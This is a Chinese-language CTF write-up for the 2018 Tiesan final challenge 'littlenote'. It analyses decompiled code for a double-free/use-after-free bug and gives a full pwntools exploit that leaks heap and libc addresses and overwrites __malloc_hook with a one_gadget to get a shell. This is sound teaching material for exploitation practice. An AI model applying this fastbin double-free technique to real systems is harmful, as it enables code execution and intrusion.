Pwn

铁三2018全国总决赛之littlenote

double free +堆块伪造

Posted by Chris on December 10, 2018

铁三这次全国总决赛的个人赛给了三道Pwn题,littlenote 算得上里面相对简单的一道

下面看程序ida代码

checksec

1
2
3
4
5
6
7
8
chris@ubuntu:~/Pwn$ checksec littlenote
[*] '/home/chris/Pwn/littlenote'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序功能

1
2
3
4
1. add a note
2. show a note
3. delete a note
4. exit

add 函数

只能添加 fastbin 大小的 chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 addnote()
{
  __int64 v0; // rbx
  __int64 v1; // rbx
  char buf; // [rsp+0h] [rbp-20h]
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( (unsigned __int64)notenum > 0xF )
    puts("FULL");
  v0 = notenum;
  note[v0] = malloc(0x60uLL);
  puts("Enter your note");
  read(0, note[notenum], 0x60uLL);
  puts("Want to keep your note?");
  read(0, &buf, 7uLL);
  if ( buf == 78 )
  {
    puts("OK,I will leave a backup note for you");
    free(note[notenum]);
    v1 = notenum;
    note[v1] = malloc(0x20uLL);
  }
  ++notenum;
  puts("Done");
  return __readfsqword(0x28u) ^ v4;
}

show 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 shownote()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Which note do you want to show?");
  _isoc99_scanf("%u", &v1);
  if ( v1 < (unsigned __int64)notenum )
  {
    if ( note[v1] )
      puts((const char *)note[v1]);
    puts("Done");
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v2;
}

free 函数

释放后未将指针至零,存在 Double free , UAF 漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 freenote()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Which note do you want to delete?");
  _isoc99_scanf("%u", &v1);
  if ( v1 < (unsigned __int64)notenum )
  {
    if ( note[v1] )
      free(note[v1]);
    puts("Done");
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v2;
}

漏洞利用

程序没有edit函数,只能通过double free对已释放的堆块进行编辑.

可利用fastbin 链泄露堆地址,然后在申请的堆内存中伪造一个堆块,用于后面泄露libc地址.

通过double free申请到这个伪造的堆块,并编辑伪造堆块内容覆盖到下一个堆块的size头,改成非fastbin size.

pic1

释放掉这个非fastbin chunk,泄露libc等一系列地址.

再次使用double free 控制malloc_hook上方内容,并将malloc_hook改成one_gadget.

get shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

#context(os='linux', arch='amd64', log_level='debug')
p = process("./littlenote")
libc = ELF("./libc.so.6")

def add(data):
    p.recvuntil("choice:")
    p.sendline(str(1))
    p.recvuntil("your note")
    p.send(data)
    p.recvuntil("keep your note?")
    p.send("Y\x00")

def show(idx):
    p.recvuntil("choice:")
    p.sendline(str(2))
    p.recvuntil("show?")
    p.sendline(str(idx))

def dele(idx):
    p.recvuntil("choice:")
    p.sendline(str(3))
    p.recvuntil("delete?")
    p.sendline(str(idx))

## chunk0里面伪造一个0x70大小的chunk,用于覆盖chunk1
    
fake_chunk=p64(0)+p64(0x71)

add(fake_chunk)
add("1")
add("2")
add("other")

# 泄露堆地址,并同时double free,分配到伪造的chunk
# 覆盖chunk1的头字段,将chunk1的size填成(0xe1)非fastbin chunk

dele(2)
dele(1)
show(1)
p.recvline()
heap_base = u64(p.recvuntil('\n',drop=True).ljust(0x8,"\x00"))-0xe0
print "heap_base : " +hex(heap_base)
dele(2)

add(p64(heap_base+0x10))
add("f")
add("g")
add("h"*0x50+p64(0)+p64(0xe1))

## 释放chunk1 进入Unsorted Bin,泄露libc

dele(1)
show(1)
p.recvline()
libc_base= u64(p.recvuntil('\n',drop=True).ljust(0x8,"\x00"))-0x58-0x3c2760
print "libc_base : " +hex(libc_base)

malloc_hook=libc_base+0x3C2740
one_gadget=libc_base+0xe9415
print "malloc_hook : " +hex(malloc_hook)
print "one_gadget : " +hex(one_gadget)

## 再次使用double free ,控制malloc_hook地址并覆盖成one_gadget

add("1")
add("2")
dele(2)
dele(1)
dele(2)

add(p64(malloc_hook-0x23))
add("f")
add("g")
add('\x00'*0x13+p64(one_gadget))

###  get shell

p.recvuntil("choice:")
p.sendline(str(1))

p.interactive()

程序与脚本链接